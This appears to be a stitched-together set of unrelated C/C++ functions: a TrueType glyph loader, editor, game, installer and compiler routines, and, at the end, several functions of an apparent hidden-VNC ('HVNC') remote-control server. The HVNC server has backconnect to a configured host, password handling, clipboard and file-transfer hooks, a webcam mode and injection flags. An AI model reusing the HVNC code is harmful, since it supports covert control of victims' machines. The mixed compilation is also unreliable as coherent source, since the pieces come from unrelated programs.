//----------------------------------------------------------------------------- // Load a glyph from the .ttf file into memory. Assumes that the .ttf file // is already seeked to the correct location, and writes the result to // glyphs[index] //----------------------------------------------------------------------------- void TtfFont::LoadGlyph(int index) { if(index < 0 || index >= glyphs) return; int i; SWORD contours = GetWORD(); SWORD xMin = GetWORD(); SWORD yMin = GetWORD(); SWORD xMax = GetWORD(); SWORD yMax = GetWORD(); if(useGlyph['A'] == index) { scale = (1024*1024) / yMax; } if(contours > 0) { WORD *endPointsOfContours = (WORD *)AllocTemporary(contours*sizeof(WORD)); for(i = 0; i < contours; i++) { endPointsOfContours[i] = GetWORD(); } WORD totalPts = endPointsOfContours[i-1] + 1; WORD instructionLength = GetWORD(); for(i = 0; i < instructionLength; i++) { // We can ignore the instructions, since we're doing vector // output. (void)GetBYTE(); } BYTE *flags = (BYTE *)AllocTemporary(totalPts*sizeof(BYTE)); SWORD *x = (SWORD *)AllocTemporary(totalPts*sizeof(SWORD)); SWORD *y = (SWORD *)AllocTemporary(totalPts*sizeof(SWORD)); // Flags, that indicate format of the coordinates #define FLAG_ON_CURVE (1 << 0) #define FLAG_DX_IS_BYTE (1 << 1) #define FLAG_DY_IS_BYTE (1 << 2) #define FLAG_REPEAT (1 << 3) #define FLAG_X_IS_SAME (1 << 4) #define FLAG_X_IS_POSITIVE (1 << 4) #define FLAG_Y_IS_SAME (1 << 5) #define FLAG_Y_IS_POSITIVE (1 << 5) for(i = 0; i < totalPts; i++) { flags[i] = GetBYTE(); if(flags[i] & FLAG_REPEAT) { int n = GetBYTE(); BYTE f = flags[i]; int j; for(j = 0; j < n; j++) { i++; if(i >= totalPts) { throw "too many points in glyph"; } flags[i] = f; } } } // x coordinates SWORD xa = 0; for(i = 0; i < totalPts; i++) { if(flags[i] & FLAG_DX_IS_BYTE) { BYTE v = GetBYTE(); if(flags[i] & FLAG_X_IS_POSITIVE) { xa += v; } else { xa -= v; } } else { if(flags[i] & FLAG_X_IS_SAME) { // no change } else { SWORD d = GetWORD(); xa += d; } } x[i] = xa; } // y coordinates SWORD ya = 0; for(i = 0; i < totalPts; i++) { if(flags[i] & FLAG_DY_IS_BYTE) { BYTE v = GetBYTE(); if(flags[i] & FLAG_Y_IS_POSITIVE) { ya += v; } else { ya -= v; } } else { if(flags[i] & FLAG_Y_IS_SAME) { // no change } else { SWORD d = GetWORD(); ya += d; } } y[i] = ya; } Glyph *g = &(glyph[index]); g->pt = (FontPoint *)MemAlloc(totalPts*sizeof(FontPoint)); int contour = 0; for(i = 0; i < totalPts; i++) { g->pt[i].x = x[i]; g->pt[i].y = y[i]; g->pt[i].onCurve = (BYTE)(flags[i] & FLAG_ON_CURVE); if(i == endPointsOfContours[contour]) { g->pt[i].lastInContour = true; contour++; } else { g->pt[i].lastInContour = false; } } g->pts = totalPts; g->xMax = xMax; g->xMin = xMin; } else { // This is a composite glyph, TODO. } }
/* * GetClipboardSavebuf - gets data from the clipboard, and builds a * temporary savebuf from it */ int GetClipboardSavebuf( savebuf *clip ) { GLOBALHANDLE hglob; char _HUGE_ *ptr; char _HUGE_ *cpos; fcb_list fcblist; int i; bool is_flushed; bool has_lf; bool record_done; char ch; int used; if( !openClipboardForRead() ) { return( ERR_CLIPBOARD_EMPTY ); } hglob = GetClipboardData( CF_TEXT ); if( hglob == NULL ) { return( ERR_CLIPBOARD ); } ptr = GetPtrGlobalLock( hglob ); cpos = ptr; i = 0; is_flushed = false; has_lf = false; fcblist.head = NULL; fcblist.tail = NULL; record_done = false; /* * add all characters to ReadBuffer. Each time this fills, * create a new FCB */ while( (ch = *ptr) != '\0' ) { INC_POINTER( ptr ); ReadBuffer[i++] = ch; if( ch == LF ) { has_lf = true; } if( i >= MAX_IO_BUFFER ) { is_flushed = true; used = addAnFcb( &fcblist, i ); ptr = GET_POINTER( cpos, used ); cpos = ptr; i = 0; } } /* * after we are done, see if any characters are left unprocessed */ if( i != 0 ) { /* * check if this is a partial line */ if( !is_flushed && !has_lf ) { clip->type = SAVEBUF_LINE; ReadBuffer[i] = 0; clip->u.data = MemAlloc( i + 1 ); strcpy( clip->u.data, ReadBuffer ); record_done = true; } else { // add LF to end of buffer if( i >= MAX_IO_BUFFER - 2 ) { addAnFcb( &fcblist, i ); i = 0; } ReadBuffer[i++] = CR; ReadBuffer[i++] = LF; addAnFcb( &fcblist, i ); } } else if( !is_flushed ) { clip->type = SAVEBUF_NOP; record_done = true; } if( !record_done ) { clip->type = SAVEBUF_FCBS; clip->u.fcbs.head = fcblist.head; clip->u.fcbs.tail = fcblist.tail; } GlobalUnlock( hglob ); CloseClipboard(); return( ERR_NO_ERR ); } /* GetClipboardSavebuf */
BOOLEAN ReadInEnemyWeaponDropsStats(WEAPON_DROPS *pEnemyWeaponDrops, STR fileName) { HWFILE hFile; UINT32 uiBytesRead; UINT32 uiFSize; CHAR8 * lpcBuffer; XML_Parser parser = XML_ParserCreate(NULL); weaponDropParseData pData; DebugMsg(TOPIC_JA2, DBG_LEVEL_3, "Loading EnemyWeaponDrops.xml" ); // Open inventory file hFile = FileOpen( fileName, FILE_ACCESS_READ, FALSE ); if ( !hFile ) return( FALSE ); uiFSize = FileGetSize(hFile); lpcBuffer = (CHAR8 *) MemAlloc(uiFSize+1); //Read in block if ( !FileRead( hFile, lpcBuffer, uiFSize, &uiBytesRead ) ) { MemFree(lpcBuffer); return( FALSE ); } lpcBuffer[uiFSize] = 0; //add a null terminator FileClose( hFile ); XML_SetElementHandler(parser, weaponDropStartElementHandle, weaponDropEndElementHandle); XML_SetCharacterDataHandler(parser, weaponDropCharacterDataHandle); memset(&pData,0,sizeof(pData)); pData.curArray = pEnemyWeaponDrops; pData.maxArraySize = MAX_DROP_ITEMS; XML_SetUserData(parser, &pData); if(!XML_Parse(parser, lpcBuffer, uiFSize, TRUE)) { CHAR8 errorBuf[511]; sprintf(errorBuf, "XML Parser Error in EnemyWeaponDrops.xml: %s at line %d", XML_ErrorString(XML_GetErrorCode(parser)), XML_GetCurrentLineNumber(parser)); LiveMessage(errorBuf); MemFree(lpcBuffer); return FALSE; } MemFree(lpcBuffer); XML_ParserFree(parser); return( TRUE ); }
static HRESULT ParsePackagesFromXml( __in BAL_INFO_PACKAGES* pPackages, __in IXMLDOMDocument* pixdManifest ) { HRESULT hr = S_OK; IXMLDOMNodeList* pNodeList = NULL; IXMLDOMNode* pNode = NULL; BAL_INFO_PACKAGE* prgPackages = NULL; DWORD cPackages = 0; LPWSTR sczType = NULL; hr = XmlSelectNodes(pixdManifest, L"/BootstrapperApplicationData/WixPackageProperties", &pNodeList); ExitOnFailure(hr, "Failed to select all packages."); hr = pNodeList->get_length(reinterpret_cast<long*>(&cPackages)); ExitOnFailure(hr, "Failed to get the package count."); prgPackages = static_cast<BAL_INFO_PACKAGE*>(MemAlloc(sizeof(BAL_INFO_PACKAGE) * cPackages, TRUE)); ExitOnNull(prgPackages, hr, E_OUTOFMEMORY, "Failed to allocate memory for packages."); DWORD iPackage = 0; while (S_OK == (hr = XmlNextElement(pNodeList, &pNode, NULL))) { hr = XmlGetAttributeEx(pNode, L"Package", &prgPackages[iPackage].sczId); ExitOnFailure(hr, "Failed to get package identifier for package."); hr = XmlGetAttributeEx(pNode, L"DisplayName", &prgPackages[iPackage].sczDisplayName); if (E_NOTFOUND != hr) { ExitOnFailure(hr, "Failed to get description for package."); } hr = XmlGetAttributeEx(pNode, L"Description", &prgPackages[iPackage].sczDescription); if (E_NOTFOUND != hr) { ExitOnFailure(hr, "Failed to get description for package."); } hr = XmlGetAttributeEx(pNode, L"PackageType", &sczType); ExitOnFailure(hr, "Failed to get description for package."); if (CSTR_EQUAL == ::CompareStringW(LOCALE_NEUTRAL, 0, L"Exe", -1, sczType, -1)) { prgPackages[iPackage].type = BAL_INFO_PACKAGE_TYPE_EXE; } else if (CSTR_EQUAL == ::CompareStringW(LOCALE_NEUTRAL, 0, L"Msi", -1, sczType, -1)) { prgPackages[iPackage].type = BAL_INFO_PACKAGE_TYPE_MSI; } else if (CSTR_EQUAL == ::CompareStringW(LOCALE_NEUTRAL, 0, L"Msp", -1, sczType, -1)) { prgPackages[iPackage].type = BAL_INFO_PACKAGE_TYPE_MSP; } else if (CSTR_EQUAL == ::CompareStringW(LOCALE_NEUTRAL, 0, L"Msu", -1, sczType, -1)) { prgPackages[iPackage].type = BAL_INFO_PACKAGE_TYPE_MSU; } hr = XmlGetYesNoAttribute(pNode, L"Permanent", &prgPackages[iPackage].fPermanent); ExitOnFailure(hr, "Failed to get permanent setting for package."); hr = XmlGetYesNoAttribute(pNode, L"Vital", &prgPackages[iPackage].fVital); ExitOnFailure(hr, "Failed to get vital setting for package."); hr = XmlGetYesNoAttribute(pNode, L"DisplayInternalUI", &prgPackages[iPackage].fDisplayInternalUI); ExitOnFailure(hr, "Failed to get DisplayInternalUI setting for package."); ++iPackage; ReleaseNullObject(pNode); } ExitOnFailure(hr, "Failed to parse all package property elements."); if (S_FALSE == hr) { hr = S_OK; } pPackages->cPackages = cPackages; pPackages->rgPackages = prgPackages; prgPackages = NULL; LExit: ReleaseStr(sczType); ReleaseMem(prgPackages); ReleaseObject(pNode); ReleaseObject(pNodeList); return hr; }
int main( int argc, char **argv ) /********************************/ { int rc; char *wcl_env; char *p; char *q; char *Cmd; /* command line parameters */ #ifndef __WATCOMC__ _argc = argc; _argv = argv; #endif CC_Opts[0] = '\0'; Switch_Chars[0] = '-'; Switch_Chars[1] = _dos_switch_char(); Switch_Chars[2] = '\0'; MemInit(); ProcMemInit(); Word = MemAlloc( MAX_CMD ); Cmd = MemAlloc( MAX_CMD * 2 ); /* enough for cmd line & wcl variable */ /* add wcl environment variable to Cmd */ /* unless /y is specified in either Cmd or wcl */ wcl_env = getenv( WCLENV ); if( wcl_env != NULL ) { strcpy( Cmd, wcl_env ); strcat( Cmd, " " ); p = Cmd + strlen( Cmd ); getcmd( p ); q = Cmd; while( (q = strpbrk( q, Switch_Chars )) != NULL ) { if( tolower( *(++q) ) == 'y' ) { getcmd( Cmd ); p = Cmd; break; } } } else { getcmd( Cmd ); p = Cmd; } p = SkipSpaces( p ); if( *p == '\0' || p[0] == '?' && ( p[1] == '\0' || p[1] == ' ' ) || p[0] == '-' && p[1] == '?' ) { Usage(); rc = 1; } else { errno = 0; /* Standard C does not require fopen failure to set errno */ if( (Fp = fopen( TEMPFILE, "w" )) == NULL ) { /* Message before banner decision as '@' option uses Fp in Parse() */ PrintMsg( WclMsgs[UNABLE_TO_OPEN_TEMPORARY_FILE], TEMPFILE, strerror( errno ) ); rc = 1; } else { initialize_Flags(); rc = Parse( Cmd ); if( rc == 0 ) { if( !Flags.be_quiet ) { print_banner(); } rc = CompLink(); } if( rc == 1 ) { fclose( Fp ); } if( Link_Name != NULL ) { if( fname_cmp( Link_Name, TEMPFILE ) != 0 ) { remove( Link_Name ); rename( TEMPFILE, Link_Name ); } } else { remove( TEMPFILE ); } } } ProcMemFini(); MemFree( Cmd ); MemFree( Word ); MemFini(); return( rc == 0 ? 0 : 1 ); }
/* * InitStatusLine - initializes the status line ... */ BOOL InitStatusLine( HWND parent ) { WPI_RECT client; WPI_RECT rcsize; status_block_desc sbd[4]; WPI_PRES pres; char *text; char next_block[3]; int len; CreateStatusFont(); sprintf( leftBlock, "%c%c", STATUS_ESC_CHAR, STATUS_FORMAT_LEFT ); sprintf( next_block, "%c%c", STATUS_ESC_CHAR, STATUS_NEXT_BLOCK ); strcpy( nextBlock, next_block ); strcat( nextBlock, leftBlock ); strcpy( hotspotPosition, next_block ); strcat( hotspotPosition, next_block ); strcat( hotspotPosition, leftBlock ); PosText = IEAllocRCString( WIE_STATUSPOSTEXT ); SizeText = IEAllocRCString( WIE_STATUSSIZETEXT ); SetPosText = IEAllocRCString( WIE_STATUSPOSINFO ); if( SetPosText != NULL ) { PositionText = (char *)MemAlloc( strlen( leftBlock ) + strlen( SetPosText ) + 20 + 1 ); text = IEAllocRCString( WIE_STATUSSIZEINFO ); if( text != NULL ) { SetSizeText = (char *)MemAlloc( strlen( SetPosText ) + strlen( text ) + 1 ); if( SetSizeText != NULL ) { strcpy( SetSizeText, SetPosText ); strcat( SetSizeText, text ); PositionSizeText = (char *)MemAlloc( strlen( leftBlock ) + strlen( SetSizeText ) + strlen( nextBlock ) + 40 + 1 ); } IEFreeRCString( text ); } } SetHotSpotText = IEAllocRCString( WIE_STATUSHOTSPOTINFO ); if( SetHotSpotText != NULL ) { HotSpotText = (char *)MemAlloc( strlen( hotspotPosition ) + strlen( SetHotSpotText ) + 20 + 1 ); } SetBitmapText = IEAllocRCString( WIE_BITMAPIMAGETEXT ); SetCursorText = IEAllocRCString( WIE_CURSORIMAGETEXT ); SetIconText = IEAllocRCString( WIE_ICONIMAGETEXT ); if( SetBitmapText != NULL && SetCursorText != NULL && SetIconText != NULL ) { len = max( strlen( SetBitmapText ), strlen( SetCursorText ) ); len = max( len, strlen( SetIconText ) ); len += strlen( imgSizePosition ) + 30 + 1; ImageText = (char *)MemAlloc( len ); } StatusWndInit( Instance, (statushook)NULL, sizeof( LPVOID ), NULL ); statusBar = StatusWndStart(); GetClientRect( parent, &client ); #ifdef __OS2_PM__ rcsize.xLeft = -1; rcsize.xRight = client.xRight + 1; rcsize.yBottom = -1; rcsize.yTop = INIT_STATUS_WIDTH - 1; #else rcsize.left = -1; rcsize.right = client.right + 1; rcsize.bottom = client.bottom + 1; rcsize.top = client.bottom - INIT_STATUS_WIDTH + 1; #endif sbd[0].separator_width = 5; sbd[0].width = 82; sbd[0].width_is_percent = 0; sbd[0].width_is_pixels = 1; sbd[1].separator_width = 5; sbd[1].width = 168; sbd[1].width_is_percent = 0; sbd[1].width_is_pixels = 1; sbd[2].separator_width = 5; sbd[2].width = 255; sbd[2].width_is_percent = 0; sbd[2].width_is_pixels = 1; sbd[3].separator_width = 5; sbd[3].width = 400; sbd[3].width_is_percent = 0; sbd[3].width_is_pixels = 1; StatusWndSetSeparators( statusBar, 4, &sbd ); strcpy( imgSizePosition, next_block ); strcat( imgSizePosition, next_block ); strcat( imgSizePosition, next_block ); strcat( imgSizePosition, leftBlock ); strcpy( hintTextPosition, next_block ); strcat( hintTextPosition, next_block ); strcat( hintTextPosition, next_block ); strcat( hintTextPosition, next_block ); strcat( hintTextPosition, leftBlock ); statusBarWnd = StatusWndCreate( statusBar, parent, &rcsize, Instance, (LPVOID)NULL ); text = NULL; if( PosText != NULL && SizeText != NULL ) { text = (char *)MemAlloc( strlen( PosText ) + strlen( SizeText ) + strlen( leftBlock ) + strlen( nextBlock ) + 1 ); } if( text != NULL ) { sprintf( text, "%s%s%s%s", leftBlock, PosText, nextBlock, SizeText ); pres = _wpi_getpres( statusBarWnd ); StatusWndDrawLine( statusBar, pres, SmallFont, text, -1 ); _wpi_releasepres( statusBarWnd, pres ); MemFree( text ); } GetWindowRect( statusBarWnd, &rcsize ); StatusWidth = rcsize.bottom - rcsize.top; return( TRUE ); } /* InitStatusLine */
/* * DIGCliAlloc */ void *DIGCLIENT DIGCliAlloc( size_t size ) { return( MemAlloc( size ) ); }
void VNCSetNewPasswordsList(HVNC hVNC,bool bDisconnectLoggedUsers,PASSWORDS_LIST *lpPasswordsList) { HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC); if ((!lpHandle) || (!lpHandle->lpServer)) return; PHVNC lpServer=lpHandle->lpServer; rfbScreenInfoPtr rfbScreen=lpServer->rfbScreen; bool bReplaceList=false; if (rfbScreen->authPasswdData) { if ((lpPasswordsList) && (lpPasswordsList->dwPasswordsCount)) { PASSWORD_ITEM **lppPasswords=(PASSWORD_ITEM **)rfbScreen->authPasswdData; for (int i=0; i < lpPasswordsList->dwPasswordsCount; i++) { for (int j=0; lppPasswords[j]; j++) { if (!lstrcmpA(lpPasswordsList->piPasswords[i].szPassword,lppPasswords[j]->szPassword)) { if (lppPasswords[j]->dwFlags == lpPasswordsList->piPasswords[i].dwFlags) lppPasswords[j]->dwFlags=-1; } } } bReplaceList=true; } else rfbScreen->newClientHook=OnNewClient; PASSWORD_ITEM **lppPasswords=(PASSWORD_ITEM **)rfbScreen->authPasswdData; for (int i=0; lppPasswords[i]; i++) { if (lppPasswords[i]->dwFlags != -1) { if (bDisconnectLoggedUsers) DisconnectUser(lpServer,lppPasswords[i]); } MemFree(lppPasswords[i]); } MemFree(lppPasswords); rfbScreen->authPasswdData=NULL; } else if ((lpPasswordsList) && (lpPasswordsList->dwPasswordsCount)) { if (bDisconnectLoggedUsers) DisconnectUser(lpServer,NULL); bReplaceList=true; rfbScreen->passwordCheck=OnNewClientAuth; } if (bReplaceList) { DWORD dwPasswordsCount=lpPasswordsList->dwPasswordsCount; PASSWORD_ITEM **lppPasswords=(PASSWORD_ITEM **)MemAlloc((dwPasswordsCount+1)*sizeof(PASSWORD_ITEM *)); for (DWORD i=0; i < dwPasswordsCount; i++) { lppPasswords[i]=(PASSWORD_ITEM*)MemAlloc(sizeof(PASSWORD_ITEM)); lppPasswords[i]->dwFlags=lpPasswordsList->piPasswords[i].dwFlags; lstrcpyA(lppPasswords[i]->szPassword,lpPasswordsList->piPasswords[i].szPassword); } rfbScreen->authPasswdData=lppPasswords; } return; }
extern "C" HRESULT ExeEngineParsePackageFromXml( __in IXMLDOMNode* pixnExePackage, __in BURN_PACKAGE* pPackage ) { HRESULT hr = S_OK; IXMLDOMNodeList* pixnNodes = NULL; IXMLDOMNode* pixnNode = NULL; DWORD cNodes = 0; LPWSTR scz = NULL; // @DetectCondition hr = XmlGetAttributeEx(pixnExePackage, L"DetectCondition", &pPackage->Exe.sczDetectCondition); ExitOnFailure(hr, "Failed to get @DetectCondition."); // @InstallArguments hr = XmlGetAttributeEx(pixnExePackage, L"InstallArguments", &pPackage->Exe.sczInstallArguments); ExitOnFailure(hr, "Failed to get @InstallArguments."); // @UninstallArguments hr = XmlGetAttributeEx(pixnExePackage, L"UninstallArguments", &pPackage->Exe.sczUninstallArguments); ExitOnFailure(hr, "Failed to get @UninstallArguments."); // @RepairArguments hr = XmlGetAttributeEx(pixnExePackage, L"RepairArguments", &pPackage->Exe.sczRepairArguments); ExitOnFailure(hr, "Failed to get @RepairArguments."); // @Repairable hr = XmlGetYesNoAttribute(pixnExePackage, L"Repairable", &pPackage->Exe.fRepairable); if (E_NOTFOUND != hr) { ExitOnFailure(hr, "Failed to get @Repairable."); } // @Protocol hr = XmlGetAttributeEx(pixnExePackage, L"Protocol", &scz); if (SUCCEEDED(hr)) { if (CSTR_EQUAL == ::CompareStringW(LOCALE_INVARIANT, 0, scz, -1, L"burn", -1)) { pPackage->Exe.protocol = BURN_EXE_PROTOCOL_TYPE_BURN; } else if (CSTR_EQUAL == ::CompareStringW(LOCALE_INVARIANT, 0, scz, -1, L"netfx4", -1)) { pPackage->Exe.protocol = BURN_EXE_PROTOCOL_TYPE_NETFX4; } else if (CSTR_EQUAL == ::CompareStringW(LOCALE_INVARIANT, 0, scz, -1, L"none", -1)) { pPackage->Exe.protocol = BURN_EXE_PROTOCOL_TYPE_NONE; } else { hr = E_UNEXPECTED; ExitOnFailure1(hr, "Invalid exit code type: %ls", scz); } } else if (E_NOTFOUND != hr) { ExitOnFailure(hr, "Failed to get @Protocol."); } // select exit code nodes hr = XmlSelectNodes(pixnExePackage, L"ExitCode", &pixnNodes); ExitOnFailure(hr, "Failed to select exit code nodes."); // get exit code node count hr = pixnNodes->get_length((long*)&cNodes); ExitOnFailure(hr, "Failed to get exit code node count."); if (cNodes) { // allocate memory for exit codes pPackage->Exe.rgExitCodes = (BURN_EXE_EXIT_CODE*)MemAlloc(sizeof(BURN_EXE_EXIT_CODE) * cNodes, TRUE); ExitOnNull(pPackage->Exe.rgExitCodes, hr, E_OUTOFMEMORY, "Failed to allocate memory for exit code structs."); pPackage->Exe.cExitCodes = cNodes; // parse package elements for (DWORD i = 0; i < cNodes; ++i) { BURN_EXE_EXIT_CODE* pExitCode = &pPackage->Exe.rgExitCodes[i]; hr = XmlNextElement(pixnNodes, &pixnNode, NULL); ExitOnFailure(hr, "Failed to get next node."); // @Type hr = XmlGetAttributeEx(pixnNode, L"Type", &scz); ExitOnFailure(hr, "Failed to get @Type."); if (CSTR_EQUAL == ::CompareStringW(LOCALE_INVARIANT, 0, scz, -1, L"success", -1)) { pExitCode->type = BURN_EXE_EXIT_CODE_TYPE_SUCCESS; } else if (CSTR_EQUAL == ::CompareStringW(LOCALE_INVARIANT, 0, scz, -1, L"error", -1)) { pExitCode->type = BURN_EXE_EXIT_CODE_TYPE_ERROR; } else if (CSTR_EQUAL == ::CompareStringW(LOCALE_INVARIANT, 0, scz, -1, L"scheduleReboot", -1)) { pExitCode->type = BURN_EXE_EXIT_CODE_TYPE_SCHEDULE_REBOOT; } else if (CSTR_EQUAL == ::CompareStringW(LOCALE_INVARIANT, 0, scz, -1, L"forceReboot", -1)) { pExitCode->type = BURN_EXE_EXIT_CODE_TYPE_FORCE_REBOOT; } else { hr = E_UNEXPECTED; ExitOnFailure1(hr, "Invalid exit code type: %ls", scz); } // @Code hr = XmlGetAttributeEx(pixnNode, L"Code", &scz); ExitOnFailure(hr, "Failed to get @Code."); if (L'*' == scz[0]) { pExitCode->fWildcard = TRUE; } else { hr = StrStringToUInt32(scz, 0, (UINT*)&pExitCode->dwCode); ExitOnFailure1(hr, "Failed to parse @Code value: %ls", scz); } // prepare next iteration ReleaseNullObject(pixnNode); } } hr = S_OK; LExit: ReleaseObject(pixnNodes); ReleaseObject(pixnNode); ReleaseStr(scz); return hr; }
void WINAPI VNCServerThread(HVNC hVNC) { HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC); if (!lpHandle) return; if (!SetThreadExecutionState(ES_CONTINUOUS+ES_SYSTEM_REQUIRED+ES_AWAYMODE_REQUIRED)) SetThreadExecutionState(ES_CONTINUOUS+ES_SYSTEM_REQUIRED); SetThreadDesktopEx(hDefaultDesktop); PHVNC lpServer=lpHandle->lpServer; rfbScreenInfoPtr rfbScreen=lpServer->rfbScreen=rfbGetScreen(NULL,NULL,lpServer->DeskInfo.dwWidth,lpServer->DeskInfo.dwHeight,8,3,lpServer->DeskInfo.bBytesPerPixel); if (!rfbScreen) { lpServer->bActive=false; SetEvent(lpHandle->hEvent); return; } rfbScreen->screenData=lpServer; rfbScreen->desktopName=lpServer->DeskInfo.szDeskName; rfbScreen->frameBuffer=(char*)lpServer->DIBInfo.lpOldBkgBits; rfbScreen->alwaysShared=lpHandle->ConnInfo.bShared; rfbScreen->ptrAddEvent=OnPointerEvent; rfbScreen->kbdAddEvent=OnKeyboardEvent; rfbScreen->setXCutText=OnReceiveClipboard; rfbScreen->getFileTransferPermission=OnFileTransfer; rfbScreen->port=lpHandle->ConnInfo.wVNCPort; if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_VNC_CURSOR)) SetXCursor(rfbScreen,&cur_arrow); else rfbScreen->cursor=NULL; if ((lpHandle->ConnInfo.szBCHost[0]) && (lpHandle->ConnInfo.wBCPort)) { rfbScreen->backconnect=TRUE; lstrcpyA(rfbScreen->backconnectHost,lpHandle->ConnInfo.szBCHost); rfbScreen->bcPort=lpHandle->ConnInfo.wBCPort; } if (lpHandle->ConnInfo.Passwords.dwPasswordsCount) { DWORD dwPasswordsCount=lpHandle->ConnInfo.Passwords.dwPasswordsCount; PASSWORD_ITEM **lppPasswords=(PASSWORD_ITEM **)MemAlloc((dwPasswordsCount+1)*sizeof(PASSWORD_ITEM *)); for (DWORD i=0; i < dwPasswordsCount; i++) { lppPasswords[i]=(PASSWORD_ITEM*)MemAlloc(sizeof(PASSWORD_ITEM)); lppPasswords[i]->dwFlags=lpHandle->ConnInfo.Passwords.piPasswords[i].dwFlags; lstrcpyA(lppPasswords[i]->szPassword,lpHandle->ConnInfo.Passwords.piPasswords[i].szPassword); } rfbScreen->authPasswdData=lppPasswords; rfbScreen->passwordCheck=OnNewClientAuth; } else rfbScreen->newClientHook=OnNewClient; while (lpServer->bActive) { rfbInitServer(rfbScreen); if (rfbScreen->backconnect) { if (rfbScreen->connectSock < 0) lpServer->bActive=false; } else if (rfbScreen->listenSock < 0) lpServer->bActive=false; if (lpHandle->hEvent) SetEvent(lpHandle->hEvent); while ((rfbIsActive(rfbScreen)) && (IsConnectionActive(lpServer))) { if (WaitForSingleObject(lpServer->EventsInfo.hVNCKillEvent,0) != WAIT_TIMEOUT) break; if (!(lpServer->DeskInfo.dwFlags & HVNC_SCREEN_SIZE_DETERMINED)) { if (WaitForSingleObject(hDispChangeEvent,0) == WAIT_OBJECT_0) SetNewFramebuffer(lpServer,lpSharedVNCData->dwNewWidth,lpSharedVNCData->dwNewHeight,lpSharedVNCData->bNewBitsPerPixel); } if (WaitForSingleObject(lpServer->EventsInfo.hClipboardUpdatedEvent,0) == WAIT_OBJECT_0) SendClipboard(lpServer); if ((lpServer->DeskInfo.bInputDesktop) && (lpServer->EventsInfo.dwClients)) { GetCursorPos(&lpServer->lpGlobalVNCData->ptCursor); rfbClientIteratorPtr i=rfbGetClientIteratorWithClosed(rfbScreen); rfbClientPtr cl=rfbClientIteratorHead(i); if (cl) rfbDefaultPtrAddEvent(0,lpServer->lpGlobalVNCData->ptCursor.x,lpServer->lpGlobalVNCData->ptCursor.y,cl); rfbReleaseClientIterator(i); } rfbProcessEvents(rfbScreen,1000); } if (WaitForSingleObject(lpServer->EventsInfo.hVNCKillEvent,0) != WAIT_TIMEOUT) break; VNCDisconnectAllUsers(hVNC); rfbShutdownServer(rfbScreen,TRUE); if (lpServer->rfbScreen->backconnect) { DWORD dwTickCount=GetTickCount(); if (dwTickCount-lpServer->dwLastReconnectionTime <= 1000) { if (++lpServer->dwReconnectionsCount >= MAX_RECONNECTIONS_PER_SECOND) { lpServer->bActive=false; break; } } else lpServer->dwReconnectionsCount=0; lpServer->dwLastReconnectionTime=dwTickCount; } rfbScreen->socketState=RFB_SOCKET_INIT; Sleep(1); } return; }
HVNC VNCCreateServer(HVNC_INITIALIZE *lpVNCInit) { if (!bHVNCInit) return -1; HVNC hVNC=1; EnterCriticalSection(&csHVNC); { HVNC_HANDLE *lpHandle=NULL; DWORD dwHash=chksum_crc32((byte*)lpVNCInit->szDeskName,lstrlenA(lpVNCInit->szDeskName)); if (!lpHandles) lpHandle=lpHandles=(HVNC_HANDLE*)MemAlloc(sizeof(HVNC_HANDLE)); else { lpHandle=lpHandles; HVNC_HANDLE *lpPrev; while (lpHandle) { if (lpHandle->lpServer->Names.dwHash == dwHash) { LeaveCriticalSection(&csHVNC); return -1; } lpPrev=lpHandle; lpHandle=lpHandle->lpNext; } lpHandle=lpPrev->lpNext=(HVNC_HANDLE*)MemAlloc(sizeof(HVNC_HANDLE)); lpHandle->lpPrev=lpPrev; hVNC=lpPrev->hHandle+1; } PHVNC lpServer=lpHandle->lpServer=(PHVNC)VirtualAlloc(NULL,sizeof(HVNCS),MEM_COMMIT,PAGE_READWRITE); lpHandle->hHandle=hVNC; InitializeCriticalSection(&lpServer->ThreadsInfo.csThreads); InitializeCriticalSection(&lpServer->WndWatcherInfo.csWndsList); lpServer->EventsInfo.dwSleep=50; lstrcpyA(lpServer->DeskInfo.szDeskName,lpVNCInit->szDeskName); lpServer->DeskInfo.dwFlags=lpVNCInit->dwFlags; #ifdef _HVNC_WEBCAM if (!memcmp(lpVNCInit->szDeskName,"#webcam",sizeof("#webcam")-1)) { lpServer->DeskInfo.bWebCam=true; lpServer->DeskInfo.dwFlags|=HVNC_WEB_CAM; if (!InitWebCam(lpServer)) { LeaveCriticalSection(&csHVNC); VNCCloseHandle(lpHandle->hHandle); return -1; } } else #endif { HDESK hInputDesktop=OpenInputDesktop(0,FALSE,DESKTOP_READOBJECTS); if (hInputDesktop) { char szInputDesktopName[100]; GetUserObjectInformationA(hInputDesktop,UOI_NAME,szInputDesktopName,sizeof(szInputDesktopName),NULL); if (!lstrcmpiA(szInputDesktopName,lpVNCInit->szDeskName)) { lpServer->DeskInfo.bInputDesktop=true; lpServer->DeskInfo.dwFlags|=HVNC_INPUT_DESKTOP; } CloseDesktop(hInputDesktop); } if (lpServer->DeskInfo.dwFlags & HVNC_SCREEN_SIZE_DETERMINED) { if ((!lpVNCInit->bBitsPerPixel) || (!lpVNCInit->dwHeight) || (!lpVNCInit->dwWidth)) { LeaveCriticalSection(&csHVNC); VNCCloseHandle(lpHandle->hHandle); return -1; } SetScreenSize(lpServer,lpVNCInit->dwHeight,lpVNCInit->dwWidth,lpVNCInit->bBitsPerPixel); } } lpServer->Names.dwHash=dwHash; InitGlobalDataNames(lpServer); if (!InitGlobalData(lpServer)) { LeaveCriticalSection(&csHVNC); VNCCloseHandle(lpHandle->hHandle); return -1; } lpServer->lpClientGoneHook=lpVNCInit->lpClientGoneHook; lpServer->lpNewClientHook=lpVNCInit->lpNewClientHook; if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_INJECTS)) { lstrcpyA(lpServer->lpGlobalVNCData->szDeskName,lpServer->DeskInfo.szDeskName); lpServer->lpGlobalVNCData->dwDeskFlags=lpVNCInit->dwFlags; WaitForSingleObject(hHandlesMutex,INFINITE); for (int i=0; i < HVNC_MAX_HANDLES; i++) { if (!lpHandlesMapping[i]) { lpHandlesMapping[i]=lpServer->Names.dwHash; break; } } ReleaseMutex(hHandlesMutex); } } LeaveCriticalSection(&csHVNC); return hVNC; }
